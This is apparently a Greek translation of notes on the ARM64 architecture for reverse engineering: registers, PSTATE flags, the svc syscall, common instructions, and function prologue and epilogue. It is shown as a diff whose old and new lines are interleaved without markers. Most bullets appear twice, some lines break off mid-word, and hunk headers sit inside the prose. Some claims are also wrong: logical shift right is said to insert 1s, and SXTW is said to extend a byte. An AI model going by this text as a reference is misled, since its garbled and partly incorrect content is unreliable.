6. **`x19`** έως **`x28`** - Αυτοί είναι καταχωρητές που αποθηκεύονται από τον καλούντα σε μια συνάρτηση, έτσι πρέπει να διατηρούνται οι τιμές τους για τον καλούντα, επομένως αποθηκεύονται στη στοίβα και ανακτώνται πριν επιστρέψουν στον καλούντα.
7. **`x29`** - **Δείκτης Πλαισίου** για να παρακολουθεί το πλαίσιο στοίβας. Όταν δημιουργείται ένα νέο πλαίσιο στοίβας επειδή καλείται μια συνάρτηση, ο καταχωρητής **`x29`** αποθηκεύεται στη στοίβα και η νέα διεύθυνση πλαισίου (**διεύθυνση `sp`**) αποθηκεύεται σε αυτό τον καταχωρητή.
5. **`x18`** - **Καταχωρητής πλατφόρμας**. Μπορεί να χρησιμοποιηθεί ως καταχωρητής γενικής χρήσης, αλλά σε ορισμένες πλατφόρμες, αυτός ο καταχωρητής είναι διατηρημένος για πλατφορμοεξαρτημένες χρήσεις: Δείκτης προς το τρέχον τμήμα περιβάλλοντος νήματος στα Windows, ή για να δείχνει στη δομή της τρέχουσας εργασίας στον πυρήνα του Linux.
6. **`x19`** έως **`x28`** - Αυτοί είναι καταχωρητές που διατηρούνται από τον καλούντα. Μια συνάρτηση πρέπει να διατηρεί τις τιμές αυτών των καταχωρητών για τον καλούντα της, έτσι αποθηκεύονται στη στοίβα και ανακτώνται πριν επιστρέψουν στον καλούντα.
7. **`x29`** - **Δείκτης Πλαισίου** για να παρακολουθεί το πλαίσιο στοίβας. Όταν δημιουργείται ένα νέο πλαίσιο στοίβας επειδή καλείται μια συνάρτηση, ο καταχωρητής **`x29`** αποθηκεύεται στη στοίβα και η νέα διεύθυνση πλαισίου (διεύθυνση **`sp`**) αποθηκεύεται σε αυτόν τον καταχωρητή.
* Αυτός ο καταχωρητής μπορεί επίσης να χρησιμοποιηθεί ως καταχωρητής γενικής χρήσης αν και συνήθως χρησιμοποιείται ως αναφορά σε τοπικές μεταβλητές.
8. **`x30`** ή **`lr`**- **Καταχωρητής Συνδέσμου**. Κ
8. **`x30`** ή **`lr`**- **Καταχωρητής Συνδέσμου**. Κρατά τη διεύθυνση επιστροφής όταν εκτελείται μια εντολή `BL` (Branch with Link) ή `BLR` (Branch with Link to Register) αποθηκεύοντας την τιμή του
### Καταχωρητές Συστήματος
**Υπάρχουν εκατοντάδες καταχωρητές συστήματος**, επίσης ονομάζονται καταχωρητές ειδικού σκοπού (SPRs), που χρησιμοποιούνται για την **παρακολούθηση** και **έλεγχο** της συμπεριφοράς των **επεξεργαστών**.\
Μπορούν να διαβαστούν ή να οριστούν μόνο χρησιμοποιώντας τις αφιερωμένες ειδικές εντολές **`mrs`** και **`msr`**.
Οι ειδικοί καταχωρητές **`TPIDR_EL0`** και **`TPIDDR_EL0`** συναντώνται συχνά κατά την αντιστροφή μηχανικής. Το επίθετο `EL0` υποδηλώνει την **ελάχιστη εξαίρεση** από την οποία ο καταχωρητής μπορεί να προσπελαστεί (σε αυτήν την περίπτωση το EL0 είναι το κανονικό επίπεδο εξαίρεσης (προνόμιο) που τρέχουν τα κανονικά προγράμματα).\
Συχνά χρησιμοποιούνται για να αποθηκεύουν την **βασική διεύθυνση της περιοχής αποθήκευσης τοπικών νημάτων** μνήμης. Συνήθως ο πρώτος είναι αναγνώσιμος και εγγράψιμος για προγράμματα που τρέχουν στο EL0, αλλά ο δεύτερος μπορεί να διαβαστεί από το EL0 και να γραφτεί από το EL1 (όπως το πυρήνας).
Οι ειδικοί καταχωρητές **`TPIDR_EL0`** και **`TPIDDR_EL0`** συναντώνται συχνά κατά την αντιστροφή μηχανικής. Το επίθεμα `EL0` υποδηλώνει την **ελάχιστη εξαίρεση** από την οποία ο καταχωρητής μπορεί να προσπελαστεί (σε αυτήν την περίπτωση το EL0 είναι το κανονικό επίπεδο εξαίρεσης (προνόμιο) που τρέχουν τα κανονικά προγράμματα).\
Συχνά χρησιμοποιούνται για να αποθηκεύσουν τη **βασική διεύθυνση της περιοχής αποθήκευσης τοπικών νημάτων** μνήμης. Συνήθως ο πρώτος είναι αναγνώσιμος και εγγράψιμος για προγράμματα που τρέχουν στο EL0, αλλά ο δεύτερος μπορεί να διαβαστεί από το EL0 και να γραφτεί από το EL1 (όπως το πυρήνας).
* `mrs x0, TPIDR_EL0 ; Διάβασε το TPIDR_EL0 στο x0`
* `msr TPIDR_EL0, X0 ; Γράψε το x0 στο TPIDR_EL0`
### **PSTATE**
Το **PSTATE** περιέχει αρκετά στοιχεία διεργασίας που έχουν σειριοποιηθεί στον ορατό από το λειτουργικό σύστημα ειδικό καταχωρητή **`SPSR_ELx`**, όπου το X είναι το **επίπεδο άδειας** **της πυροδότησης** εξαίρεσης (αυτό επιτρέπει την ανάκτηση της κατάστασης της διεργασίας όταν η εξαίρεση τελειώνει).\
Το **PSTATE** περιέχει αρκετά στοιχεία διεργασίας που έχουν σειριοποιηθεί στον ορατό από το λειτουργικό σύστημα ειδικό καταχωρητή **`SPSR_ELx`**, όπου το X είναι το **επίπεδο άδειας** **της πυροδότησης** εξαίρεσης (αυτό επιτρέπει την ανάκτηση της κατάστασης της διεργασίας όταν τελειώνει η εξαίρεση).\
Αυτά είναι τα προσβάσιμα πεδία:
<figure><img src="../../../.gitbook/assets/image (1193).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1196).png" alt=""><figcaption></figcaption></figure>
* Τα σημαία συνθήκης **`N`**, **`Z`**, **`C`** και **`V`**:
* Τα σημαία **`N`**, **`Z`**, **`C`** και **`V`** συνθήκης:
* Το **`N`** σημαίνει ότι η λειτουργία παρήγαγε αρνητικό αποτέλεσμα
* Το **`Z`** σημαίνει ότι η λειτουργία παρήγαγε μηδέν
* Το **`C`** σημαίνει ότι η λειτουργία μεταφέρθηκε
@ -80,13 +81,13 @@
Όχι όλες οι εντολές ενημερώνουν αυτές τις σημαίες. Κάποιες όπως **`CMP`** ή **`TST`** το κάνουν, και άλλες που έχουν κατάληξη s όπως **`ADDS`** επίσης το κάνουν.
{% endhint %}
* Η τρέχουσα **σημαία πλάτους καταχωρητή (`nRW`)**: Αν η σημαία κρατά την τιμή 0, το πρόγραμμα θα τρέξει στην κατάσταση εκτέλεσης AArch64 μόλις επαναφερθεί.
* Η τρέχουσα σημαία πλάτους καταχωρητή (`nRW`): Αν η σημαία κρατά την τιμή 0, το πρόγραμμα θα τρέξει στην κατάσταση εκτέλεσης AArch64 μόλις επαναφερθεί.
* Το τρέχον **Επίπεδο Εξαίρεσης** (**`EL`**): Ένα κανονικό πρόγραμμα που τρέχει στο EL0 θα έχει την τιμή 0
* Η σημαία **μονής βήματος** (**`SS`**): Χρησιμοποιείται από debuggers για τη μονοβήματη εκτέλεση καθορίζοντας τη σημαία SS σε 1 μέσα στο **`SPSR_ELx`** μέσω μιας εξαίρεσης. Το πρόγραμμα θα εκτελέσει ένα βήμα και θα εκδώσει μια εξαίρεση μονοβήματος.
* Η σημαία **μονής βήματος** (**`SS`**): Χρησιμοποιείται από debuggers για μονή βήματοποίηση με την ρύθμιση της σημαίας SS σε 1 μέσα στο **`SPSR_ELx`** μέσω μιας εξαίρεσης. Το πρόγραμμα θα εκτελέσει ένα βήμα και θα εκδώσει μια εξαίρεση μονής βήματος.
* Η σημαία κατάστασης παράνομης εξαίρεσης (**`IL`**): Χρησιμοποιείται για να επισημάνει όταν ένα προνομιούχο λογισμικό εκτελεί μια μη έγκυρη μεταφορά επιπέδου εξαίρεσης, αυτή η σημαία ορίζεται σε 1 και ο επεξεργαστής εκδηλώνει μια παράνομη κατάσταση εξαίρεσης.
* Οι σημαίες **`DAIF`**: Αυτές οι σημαίες επιτρέπουν σε ένα προνομιούχο πρόγραμμα να μάσκαρει εκλεκτικά ορισμένες εξωτερικές εξαιρέσεις.
* Αν το **`A`** είναι 1 σημαίνει ότι θα πυροδοτηθούν **ασύγχρονες αποτυχίες**. Το **`I`** ρυθμίζει την ανταπόκριση σε εξωτερικά υλικά **Αιτήματα Διακοπών** (IRQs) και το F σχετίζεται με τα **Αιτήματα Γρήγορων Διακοπών** (FIRs).
* Οι σημαίες επιλογής δείκτη στοίβας (**`SPS`**): Τα προνομιούχα προγράμματα που τρέχουν στο EL1 και πάνω μπορούν να αλλάζουν μεταξύ της χρήσης του δικού τους καταχωρητή δείκτη στοίβας και του καταχωρητή δείκτη χρήστη (π.χ. μεταξύ `SP_EL1` και `EL0`). Αυτή η αλλαγή γίνεται με την εγγραφή στον ειδικό καταχωρητή **`SPSel`**. Αυτό δεν μπορεί να γίνει από το EL0.
* Οι σημαίες επιλογής δείκτη στοίβας (**`SPS`**): Τα προνομιούχα προγράμματα που τρέχουν στο EL1 και πάνω μπορούν να αλλάζουν μεταξύ της χρήσης του δικού τους καταχωρητή δείκτη στοίβας και του μοντέλου χρήστη (π.χ. μεταξύ `SP_EL1` και `EL0`). Αυτή η αλλαγή γίνεται με την εγγραφή στον ειδικό καταχωρητή **`SPSel`**. Αυτό δεν μπορεί να γίνει από το EL0.
## **Σύμβαση Κλήσης (ARM64v8)**
@ -96,66 +97,65 @@
### Σύμβαση Κλήσης στη Swift
Η Swift έχει τη δική της **σύμβαση κλήσης** που μπορεί να βρεθεί στο [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main
* Σύνταξη: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX\]
Η Swift έχει τη δική της **σύμβαση κλήσης** που μπορεί να βρεθεί στο [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#
* Σύνταξη: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX]
* Xn1 -> Προορισμός
* Xn2 -> Τελεστής 1
* Xn3 | #imm -> Τελεστής 2 (καταχώρηση ή άμεσο)
* \[shift #N | RRX\] -> Εκτέλεση μετατόπισης ή κλήση RRX
* \[shift #N | RRX] -> Εκτέλεση μετατόπισης ή κλήση RRX
* Παράδειγμα: `add x0, x1, x2` — Αυτό προσθέτει τις τιμές στα `x1` και `x2` μαζί και αποθηκεύει το αποτέλεσμα στο `x0`.
* `add x5, x5, #1, lsl #12` — Αυτό ισούται με 4096 (ένα 1 μετατοπισμένο 12 φορές) -> 1 0000 0000 0000 0000
* **`adds`** Αυτό εκτελεί ένα `add` και ενημερώνει τα σημαία
* **`sub`**: **Αφαίρεση** των τιμών δύο καταχωρητών και αποθήκευση του αποτελέσματος σε έναν καταχωρητή.
* **`adds`** Αυτό εκτελεί μια `add` και ενημερώνει τις σημαίες
* **`sub`**: **Αφαίρεση** των τιμών δύο καταχωρήσεων και αποθήκευση του αποτελέσματος σε μια καταχώρηση.
* Ελέγξτε τη **σύνταξη του `add`**.
* Παράδειγμα: `sub x0, x1, x2` — Αυτό αφαιρεί την τιμή από το `x2` από το `x1` και αποθηκεύει το αποτέλεσμα στο `x0`.
* Παράδειγμα: `sub x0, x1, x2` — Αυτό αφαιρεί την τιμή στο `x2` από το `x1` και αποθηκεύει το αποτέλεσμα στο `x0`.
* **`subs`** Αυτό είναι σαν το sub αλλά ενημερώνει τη σημαία
* **`mul`**: **Πολλαπλασιασμός** των τιμών δύο καταχωρητών και αποθήκευση του αποτελέσματος σε έναν καταχωρητή.
* **`mul`**: **Πολλαπλασιασμός** των τιμών δύο καταχωρήσεων και αποθήκευση του αποτελέσματος σε μια καταχώρηση.
* Παράδειγμα: `mul x0, x1, x2` — Αυτό πολλαπλασιάζει τις τιμές στα `x1` και `x2` και αποθηκεύει το αποτέλεσμα στο `x0`.
* **`div`**: **Διαίρεση** της τιμής ενός καταχωρητή με έναν άλλον και αποθήκευση του αποτελέσματος σε έναν καταχωρητή.
* **`div`**: **Διαίρεση** της τιμής μιας καταχώρησης με μια άλλη και αποθήκευση του αποτελέσματος σε μια καταχώρηση.
* Παράδειγμα: `div x0, x1, x2` — Αυτό διαιρεί την τιμή στο `x1` με το `x2` και αποθηκεύει το αποτέλεσμα στο `x0`.
* **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**:
* **Λογική μετατόπιση αριστερά**: Προσθήκη 0 από το τέλος μετακινώντας τα υπόλοιπα μπροστά (πολλαπλασιασμός κατά n φορές 2)
* **Λογική μετατόπιση δεξιά**: Προσθήκη 1 στην αρχή μετακινώντας τα υπόλοιπα πίσω (διαίρεση κατά n φορές 2 σε ανυπογραφήτους)
* **Αριθμητική μετατόπιση δεξιά**: Όπως **`lsr`**, αλλά αντί να προσθέτει 0 αν το πιο σημαντικό ψηφίο είναι 1, προστίθενται 1 (\*\*διαίρεση κατά n φορές 2 σε υπογραφήτους)
* **Περιστροφή δεξιά**: Όπως **`lsr`** αλλά ό,τι αφαιρείται από τα δεξιά προστίθεται στα αριστερά
* **Περιστροφή Δεξιά με Επέκταση**: Όπως **`ror`**, αλλά με τη σημαία μεταφοράς ως "πιο σημαντικό ψηφίο". Έτσι, η σημαία μεταφοράς μετακινείται στο bit 31 και το αφαιρούμενο bit στη σημαία μεταφοράς.
* **Λογική μετατόπιση αριστερά**: Προσθήκη 0 από το τέλος μετακινώντας τα υπόλοιπα bits προς τα εμπρός (πολλαπλασιασμός κατά n φορές 2)
* **Λογική μετατόπιση δεξιά**: Προσθήκη 1 στην αρχή μετακινώντας τα υπόλοιπα bits προς τα πίσω (διαίρεση κατά n φορές 2 σε μη υπογραφόμενο)
* **Αριθμητική μετατόπιση δεξιά**: Όπως το **`lsr`**, αλλά αντί να προσθέτει 0 αν το πιο σημαντικό bit είναι 1, προστίθενται 1 (\*\*διαίρεση κατά n φορές 2 σε υπογραφόμενο)
* **Περιστροφή δεξιά**: Όπως το **`lsr`** αλλά ό,τι αφαιρείται από τα δεξιά προστίθεται στα αριστερά
* **Περιστροφή Δεξιά με Επέκταση**: Όπως το **`ror`**, αλλά με τη σημαία μεταφοράς ως "πιο σημαντικό bit". Έτσι, η σημαία μεταφοράς μετακινείται στο bit 31 και το αφαιρούμενο bit στη σημαία μεταφοράς.
* **`bfm`**: **Μετακίνηση Πεδίου Μπιτ**, αυτές οι λειτουργίες **αντιγράφουν τα bits `0...n`** από μια τιμή και τα τοποθετούν σε θέσεις **`m..m+n`**. Το **`#s`** καθορίζει τη θέση του **αριστερότερου bit** και το **`#r`** την **ποσότητα δεξιάς περιστροφής**.
* Μετακίνηση πεδίου μπιτ: `BFM Xd, Xn, #r`
* Μετακίνηση πεδίου μπιτ με πρόσημο: `SBFM Xd, Xn, #r, #s`
* Μετακίνηση πεδίου μπιτ χωρίς πρόσημο: `UBFM Xd, Xn, #r, #s`
* **Εξαγωγή και Εισαγωγή Πεδίου Μπιτ:** Αντιγράφει ένα πεδίο μπιτ από έναν καταχωρητή και το αντιγράφει σε έναν άλλον καταχωρητή.
* **Εξαγωγή και Εισαγωγή Πεδίου Μπιτ:** Αντιγράφει ένα πεδίο μπιτ από μια καταχώρηση και το αντιγράφει σε μια άλλη καταχώρηση.
* **`BFI X1, X2, #3, #4`** Εισαγωγή 4 bits από το X2 από το 3ο bit του X1
* **`BFXIL X1, X2, #3, #4`** Εξαγωγή από το 3ο bit του X2 τέσσερα bits και αντιγραφή τους στο X1
* **`SBFIZ X1, X2, #3, #4`** Επέκταση με πρόσημο 4 bits από το X2 και εισαγωγή τους στο X1 ξεκινώντας από τη θέση bit 3 μηδενίζοντας τα δεξιά bits
* **`SBFX X1, X2, #3, #4`** Εξάγει 4 bits ξεκινώντας από το bit 3 από το X2, επεκτείνει το πρόσημο τους και τοποθετεί το αποτέλεσμα στο X1
* **`UBFIZ X1, X2, #3, #4`** Επέκταση μηδενικών 4 bits από το X2 και εισαγωγή τους στο X1 ξεκινώντας από τη θέση bit 3 μηδενίζοντας τα δεξιά bits
* **`UBFX X1, X2, #3, #4`** Εξάγει 4 bits ξεκινώντας από το bit 3 από το X2 και τοποθετεί το αποτέλεσμα με επέκταση μηδενικών στο X1.
* **Επέκταση Προσήμου Σε X:** Επεκτείνει το πρόσημο (ή προσθέτει απλά 0 στη μη υπογεγραμμένη έκδοση) μιας τιμής για να είναι δυνατές οι λειτουργίες με αυτή:
* **`UBFIZ X1, X2, #3, #4`** Επέκταση μηδενικού προσημού 4 bits από το X2 και εισαγωγή τους στο X1 ξεκινώντας από τη θέση bit 3 μηδενίζοντας τα δεξιά bits
* **`UBFX X1, X2, #3, #4`** Εξάγει 4 bits ξεκινώντας από το bit 3 από το X2 και τοποθετεί το αποτέλεσμα με επέκταση μηδενικού προσημού στο X1.
* **Επέκταση Προσήμου Σε X:** Επεκτείνει το πρόσημο (ή προσθέτει απλώς 0 στη μη υπογραφόμενη έκδοση) μιας τιμής για να είναι δυνατές οι λειτουργίες με αυτή:
* **`SXTB X1, W2`** Επεκτείνει το πρόσημο ενός byte **από W2 σε X1** (`W2` είναι το μισό του `X2`) για να γεμίσει τα 64bits
* **`SXTH X1, W2`** Επεκτείνει το πρόσημο ενός 16bit αριθμού **από W2 σε X1** για να γεμίσει τα 64bits
* **`SXTW X1, W2`** Επεκτείνει το πρόσημο ενός byte **από W2 σε X1** για να γεμίσει τα 64bits
* **`UXTB X1, W2`** Προσθέτει 0 (μη υπογεγραμμένο) σε ένα byte **από W2 σε X1** για να γεμίσει τα 64bits
* **`extr`:** Εξάγει bits από ένα συγκεκριμένο **ζεύγος καταχωρητών που ενωθήκαν**.
* **`UXTB X1, W2`** Προσθέτει 0 (μη υπογραφόμενο) σε ένα byte **από W2 σε X1** για να γεμίσει τα 64bits
* **`extr`:** Εξάγει bits από ένα συγκεκριμένο **ζεύγος καταχωρήσεων που ενωθήκαν**.
* Παράδειγμα: `EXTR W3, W2, W1, #3` Αυτό θα **ενώσει το W1+W2** και θα πάρει **από το bit 3 του W2 μέχρι το bit 3 του W1** και θα το αποθηκεύσει στο W3.
* **`cmp`**: **Σύγκριση** δύο καταχωρητών και ρύθμιση σημαίων κατάστασης. Είναι ένας **ψευδώνυμος του `subs`** με τον προορισμό να είναι ο καταχωρητής μηδέν. Χρήσιμο για να γνωρίζετε αν `m == n`.
* **`cmp`**: **Σύγκριση** δύο καταχωρήσεων και ρύθμιση σημαίων συνθηκών. Είναι ένας **ψευδώνυμος του `subs`** με την ρύθμιση της καταχώρησης προορισμού στη μηδενική καταχώρηση. Χρήσιμο για να γνωρίζετε αν `m == n`.
* Υποστηρίζει την **ίδια σύνταξη με το `subs`**
* Παράδειγμα: `cmp x0, x1` — Αυτό συγκρίνει τις τιμές στα `x0` και `x1` και ρυθμίζει τα σημαία κατάστασης αναλόγως.
* Παράδειγμα: `cmp x0, x1` — Αυτό συγκρίνει τις τιμές στα `x0` και `x1` και ρυθμίζει τα σημαία συνθηκών αναλόγως.
* **`cmn`**: **Σύγκριση αρνητικού** τελεστή. Σε αυτήν την περίπτωση είναι ένας **ψευδώνυμο του `adds`** και υποστηρίζει την ίδια σύνταξη. Χρήσιμο για να γνωρίζετε αν `m == -n`.
* **`ccmp`**: Συνθήκες σύγκρισης, είναι μια σύγκριση που θα πραγματοποιηθεί μόνο αν μια προηγούμενη σύγκριση ήταν αληθής και θα ρυθμίσει ειδικά τα bits nzcv.
* `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> αν x1 != x2 και x3 < x4, μετάβαση στο func
* Αυτό οφείλεται στο γεγονός ότι το **`ccmp`** θα εκτελεστεί μόνο αν η **προηγούμενη `cmp` ήταν `NE`**, αν δεν ήταν, τα bits `nzcv` θα οριστούν σε 0 (που δεν θα ικανοποιήσει τη σύγκριση `blt`).
* Αυτό μπορεί επίσης να χρησιμοποιηθεί ως `ccmn
* **`b.ne`**: **Branch if Not Equal**. Αυτή η εντολή ελέγχει τα σημαία συνθηκών (τα οποία έχουν οριστεί από μια προηγούμενη εντολή σύγκρισης) και αν οι τιμές που συγκρίθηκαν δεν ήταν ίσες, τότε κάνει άλμα σε ένα ετικέτα ή διεύθυνση.
* Παράδειγμα: Μετά από μια εντολή `cmp x0, x1`, `b.ne label`Αν οι τιμές στα `x0` και `x1` δεν ήταν ίσες, τότε αυτό πηδάει στην `label`.
* **`cbz`**: **Σύγκριση και Άλμα σε Μηδέν**. Αυτή η εντολή συγκρίνει έναν καταχωρητή με το μηδέν και αν είναι ίσοι, τότε κάνει άλμα σε μια ετικέτα ή διεύθυνση.
* Παράδειγμα: `cbz x0, label`Αν η τιμή στο `x0` είναι μηδέν, τότε αυτό πηδάει στην `label`.
* **`cbnz`**: **Σύγκριση και Άλμα σε Μη Μηδέν**. Αυτή η εντολή συγκρίνει έναν καταχωρητή με το μηδέν και αν δεν είναι ίσοι, τότε κάνει άλμα σε μια ετικέτα ή διεύθυνση.
* Παράδειγμα: `cbnz x0, label`Αν η τιμή στο `x0` δεν είναι μηδέν, τότε αυτό πηδάει στην `label`.
* **`tbnz`**: Δοκιμάζει το bit και πηδάει σε μη μηδέν
* `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> αν x1 != x2 και x3 < x4, μετάβαση στη λειτουργία
* Αυτό οφείλεται στο γεγονός ότι το **`ccmp`** θα εκτελεστεί μόνο αν η **προηγούμενη `cmp` ήταν ένα `NE`**, αν δεν ήταν, τα bits `nzcv` θα οριστούν σε 0 (που δεν θα ικανοποιήσει τη σ
* **`b.ne`**: **Branch if Not Equal**. Αυτή η εντολή ελέγχει τα σημαία συνθηκών (τα οποία έχουν οριστεί από μια προηγούμενη εντολή σύγκρισης) και αν οι τιμές που συγκρίθηκαν δεν ήταν ίσες, τότε μεταβαίνει σε ένα ετικέτα ή διεύθυνση.
* Παράδειγμα: Μετά από μια εντολή `cmp x0, x1`, `b.ne label`Αν οι τιμές στα `x0` και `x1` δεν ήταν ίσες, τότε αυτό μεταβαίνει στην `label`.
* **`cbz`**: **Σύγκριση και Μετάβαση σε Μηδέν**. Αυτή η εντολή συγκρίνει έναν καταχωρητή με το μηδέν και αν είναι ίσοι, μεταβαίνει σε μια ετικέτα ή διεύθυνση.
* Παράδειγμα: `cbz x0, label`Αν η τιμή στο `x0` είναι μηδέν, τότε αυτό μεταβαίνει στην `label`.
* **`cbnz`**: **Σύγκριση και Μετάβαση σε Μη Μηδέν**. Αυτή η εντολή συγκρίνει έναν καταχωρητή με το μηδέν και αν δεν είναι ίσοι, μεταβαίνει σε μια ετικέτα ή διεύθυνση.
* Παράδειγμα: `cbnz x0, label`Αν η τιμή στο `x0` δεν είναι μηδέν, τότε αυτό μεταβαίνει στην `label`.
* **`tbnz`**: Δοκιμάζει το bit και μεταβαίνει σε μη μηδέν
* Παράδειγμα: `tbnz x0, #8, label`
* **`tbz`**: Δοκιμάζει το bit και πηδάει σε μηδέν
* **`tbz`**: Δοκιμάζει το bit και μεταβαίνει σε μηδέν
* Παράδειγμα: `tbz x0, #8, label`
* **Λειτουργίες επιλογής με συνθήκες**: Αυτές είναι λειτουργίες οι οποίες η συμπεριφορά τους ποικίλλει ανάλογα με τα συνθηκικά bits.
* **Λειτουργίες επιλογής με συνθήκη**: Αυτές είναι λειτουργίες οι οποίες συμπεριφέρονται διαφορετικά ανάλογα με τα συνθηκικά bits.
* `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Αν είναι αληθές, X0 = X1, αν είναι ψευδές, X0 = X2
* `csinc Xd, Xn, Xm, cond` -> Αν είναι αληθές, Xd = Xn, αν είναι ψευδές, Xd = Xm + 1
* `cinc Xd, Xn, cond` -> Αν είναι αληθές, Xd = Xn + 1, αν είναι ψευδές, Xd = Xn
@ -167,20 +167,20 @@
* `csetm Xd, Xn, Xm, cond` -> Αν είναι αληθές, Xd = \<όλα 1>, αν είναι ψευδές, Xd = 0
* **`adrp`**: Υπολογίζει τη **διεύθυνση σελίδας ενός συμβόλου** και την αποθηκεύει σε έναν καταχωρητή.
* Παράδειγμα: `adrp x0, symbol` — Αυτό υπολογίζει τη διεύθυνση σελίδας του `symbol` και την αποθηκεύει στο `x0`.
* **`ldrsw`**: **Φορτώνει** μια υπογραμμισμένη **32-μπιτη** τιμή από τη μνήμη και **επεκτείνει το πρόσημό της σε 64** bits.
* Παράδειγμα: `ldrsw x0, [x1]` — Αυτό φορτώνει μια υπογραμμισμένη τιμή 32 bits από τη θέση μνήμης στην οποία δείχνει το `x1`, επεκτείνει το πρόσημό της σε 64 bits και την αποθηκεύει στο `x0`.
* **`ldrsw`**: **Φορτώνει** μια υπογραφόμενη **32-μπιτη** τιμή από τη μνήμη και **επεκτείνει το πρόσημό της σε 64** bits.
* Παράδειγμα: `ldrsw x0, [x1]` — Αυτό φορτώνει μια υπογραφόμενη τιμή 32 bits από τη θέση μνήμης στην οποία δείχνει το `x1`, επεκτείνει το πρόσημό της σε 64 bits και την αποθηκεύει στο `x0`.
* **`stur`**: **Αποθηκεύει μια τιμή καταχωρητή σε μια θέση μνήμης**, χρησιμοποιώντας ένα μετατόπιση από έναν άλλο καταχωρητή.
* Παράδειγμα: `stur x0, [x1, #4]` — Αυτό αποθηκεύει την τιμή στο `x0` στη θέση μνήμης που είναι 4 bytes μεγαλύτερη από τη διεύθυνση που υπάρχει αυτή τη στιγμή στο `x1`.
* **`svc`** : Κάνει μια **κλήση συστήματος**. Σημαίνει "Supervisor Call". Όταν ο επεξεργαστής εκτελεί αυτή την εντολή, μεταβαίνει από τη λειτουργία χρήστη στη λειτουργία πυρήνα και πηγαίνει σε μια συγκεκριμένη τοποθεσία στη μνήμη όπου βρίσκεται ο κώδικας χειρισμού κλήσης συστήματος του πυρήνα.
* **`svc`** : Κάνει μια **κλήση συστήματος**. Σημαίνει "Supervisor Call". Όταν ο επεξεργαστής εκτελεί αυτή την εντολή, **μεταβαίνει από τη λειτουργία χρήστη στη λειτουργία πυρήνα** και μεταβαίνει σε μια συγκεκριμένη τοποθεσία στη μνήμη όπου βρίσκεται ο κώδικας χειρισμού κλήσης συστήματος του πυρήνα.
* Παράδειγμα:
```armasm
mov x8, 93 ; Φορτώνει τον αριθμό κλήσης συστήματος για έξοδο (93) στον καταχωρητή x8.
mov x0, 0 ; Φορτώνει τον κωδικό κατάστασης έξοδου (0) στον καταχωρητή x0.
mov x0, 0 ; Φορτώνει τον κωδικό κατάστασης εξόδου (0) στον καταχωρητή x0.
svc 0 ; Κάνει την κλήση συστήματος.
```
### **Εισαγωγή Συνάρτησης**
### **Πρόλογος Συνάρτησης**
1. **Αποθήκευση του καταχωρητή συνδέσμου και του δείκτη πλαισίου στη στοίβα**:
@ -191,12 +191,12 @@ stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement t
{% endcode %}
2. **Ρύθμιση του νέου δείκτη πλαισίου**: `mov x29, sp` (ρυθμίζει τον νέο δείκτη πλαισίου για την τρέχουσα συνάρτηση)
3. **Διατείνετε χώρο στη στοίβα για τοπικές μεταβλητές** (εάν απαιτείται): `sub sp, sp, <size>` (όπου `<size>` είναι το πλήθος των bytes που απαιτούνται)
3. **Δέσμευση χώρου στη στοίβα για τοπικές μεταβλητές** (εάν απαιτείται): `sub sp, sp, <size>` (όπου `<size>` είναι το πλήθος των bytes που απαιτούνται)
### **Επίλογος Συνάρτησης**
1. **Αποδέσμευση τοπικών μεταβλητών (εάν είχαν διατεθεί)**: `add sp, sp, <size>`
2. **Επαναφορά του μητρώου συνδέσεων και του δείκτη πλαισίου**:
1. **Αποδέσμευση τοπικών μεταβλητών (εάν είχαν δεσμευτεί)**: `add sp, sp, <size>`
2. **Επαναφορά του μητρώου συνδέσμου και του δείκτη πλαισίου**:
{% code overflow="wrap" %}
```armasm
@ -208,12 +208,12 @@ ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment th
## Κατάσταση Εκτέλεσης AARCH32
Το Armv8-A υποστηρίζει την εκτέλεση προγραμμάτων 32-bit. **AArch32** μπορεί να τρέξει σε ένα από τα **δύο σύνολα εντολών**: **`A32`** και **`T32`** και μπορεί να μεταβεί μεταξύ τους μέσω **`interworking`**.\
**Προνομιούχα** προγράμματα 64-bit μπορούν να προγραμματίσουν την **εκτέλεση 32-bit** προγραμμάτων εκτελώντας μεταφορά επιπέδου εξαίρεσης στο χαμηλότερου επιπέδου προνομιούχο 32-bit.\
Σημειώστε ότι η μετάβαση από 64-bit σε 32-bit συμβαίνει με μείωση του επιπέδου εξαίρεσης (για παράδειγμα ένα 64-bit πρόγραμμα σε EL1 προκαλεί ένα πρόγραμμα σε EL0). Αυτό γίνεται με τον ορισμό του **bit 4 του** ειδικού καταχωρητή **`SPSR_ELx`** σε 1 όταν η διαδικασία νήματος `AArch32` είναι έτοιμη για εκτέλεση και το υπόλοιπο του `SPSR_ELx` αποθηκεύει τα προγράμματα CPSR του **`AArch32`**. Στη συνέχεια, το προνομιούχο πρόγραμμα καλεί την εντολή **`ERET`** ώστε ο επεξεργαστής να μεταβεί σε **`AArch32`** εισέρχοντας σε A32 ή T32 ανάλογα με το CPSR\*\*.\*\*
Το Armv8-A υποστηρίζει την εκτέλεση προγραμμάτων 32-bit. Το **AArch32** μπορεί να εκτελέσει ένα από τα **δύο σύνολα εντολών**: **`A32`** και **`T32`** και μπορεί να μεταβεί μεταξύ τους μέσω **`interworking`**.\
Τα **προνομιούχα** προγράμματα 64-bit μπορούν να προγραμματίσουν την **εκτέλεση 32-bit** προγραμμάτων εκτελώντας μια μεταφορά επιπέδου εξαίρεσης στο χαμηλότερου επιπέδου προνομιούχο 32-bit.\
